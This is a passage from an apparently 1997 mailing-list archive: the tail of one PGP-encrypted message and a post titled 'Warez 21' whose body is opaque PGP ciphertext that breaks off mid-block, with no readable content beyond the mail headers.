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
gTeZMUD97fJidp/PzacGdMAeSl/b3wcyBQNP
=llkb
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 01:05:12 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 17:05:12 +0800
Subject: Warez 21
Message-ID: <199712180858.AAA16487@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
